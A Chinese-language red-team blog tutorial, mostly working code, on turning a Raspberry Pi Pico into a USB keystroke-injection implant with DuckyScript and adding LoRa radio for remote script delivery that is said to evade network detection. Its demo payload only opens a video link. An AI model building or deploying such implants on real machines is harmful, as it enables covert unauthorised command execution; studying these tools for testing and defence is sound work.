红队植入攻击:基于树莓派Pico的物联网攻击工具(第二部分)

本文详细介绍了如何将树莓派Pico改装成物理植入设备,通过CircuitPython实现键盘注入攻击,并扩展LoRa模块实现远程无线控制,构建完整的红队攻击链。

从零构建物理植入设备

本文是《红队物联网植入设备》系列的第二部分。我们将采用"从零开始"的方法,将树莓派Pico W配置为物理植入设备,用于执行类似USB橡皮鸭的攻击。随后通过集成LoRa模块将攻击能力提升到新高度。

所需硬件

  • 树莓派Pico/Pico W
  • micro USB数据线
  • 计算机(开发用)

开发环境配置

  1. CircuitPython环境搭建

    • 访问CircuitPython官网下载对应Pico型号的固件(.UF2文件)
    • 按住Pico的BOOTSEL按钮连接电脑,将固件拖入出现的RPI-RP2磁盘
    • 成功安装后会出现名为CIRCUITPY的磁盘
  2. Thonny IDE安装

    • 官网下载跨平台IDE
    • 安装后通过右下角菜单选择Pico对应的COM端口
  3. 必要库安装

    • 在Thonny中安装adafruit-circuitpython-hid
    • 通过Tools > Manage packages搜索安装

基础键盘注入攻击

在Pico的code.py文件中写入以下代码实现基础攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import time
import board
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode

keyboard = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(keyboard)

def press_keys(*keys, delay=0.1):
    keyboard.press(*keys)
    time.sleep(delay)
    keyboard.release_all()

time.sleep(2)
press_keys(Keycode.GUI, Keycode.R)  # Win+R
layout.write('https://www.youtube.com/watch?v=dQw4w9WgXcQ\n')

进阶DuckyScript支持

  1. 安装adafruit-circuitpython-ducky
  2. 创建duckyscript.txt文件:
1
2
3
4
WINDOWS r
DELAY 500
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
ENTER
  1. 修改code.py加载脚本:
1
2
3
4
import adafruit_ducky
duck = adafruit_ducky.Ducky('duckyscript.txt', keyboard, keyboard_layout)
while duck.loop() is not False:
    pass

LoRa无线扩展方案

硬件准备

  • 两个支持LoRa的设备(建议Adafruit Feather RP2040 with RFM95)
  • 定制PCB(可选)

植入端代码

  1. 安装adafruit-circuitpython-rfm9x
  2. 核心功能代码:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import adafruit_rfm9x
rfm9x = adafruit_rfm9x.RFM9x(spi, cs, reset, 915.0)
rfm9x.tx_power = 13
rfm9x.signal_bandwidth = 250000

def receive_scripts():
    with open('lora_script.txt', 'w') as f:
        while True:
            packet = rfm9x.receive()
            if packet and str(packet,'utf-8') == 'DNE':
                break
            f.write(str(packet,'utf-8')+'\n')

发送端配置

  1. 串口转发代码:
1
2
3
4
5
import usb_cdc
serial = usb_cdc.data
while True:
    line = serial.readline().decode()
    rfm9x.send(bytes(line, 'utf-8'))
  1. 主机端发送脚本:
1
2
3
4
5
6
import serial
with serial.Serial('COM14',115200) as ser:
    with open('payload.txt') as f:
        for line in f:
            ser.write(line.encode()+b'\n')
        ser.write(b'DNE\n')

攻击演示

  1. 将植入设备连接目标计算机
  2. 运行sender.py发送DuckyScript脚本
  3. 通过SDR设备可监听到LoRa传输信号
  4. 目标计算机会自动执行接收到的脚本

技术要点

  • 使用CircuitPython实现快速开发
  • 通过LoRa实现超视距控制(典型距离1-10km)
  • 完全规避传统网络检测手段
  • 支持动态更新攻击脚本
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计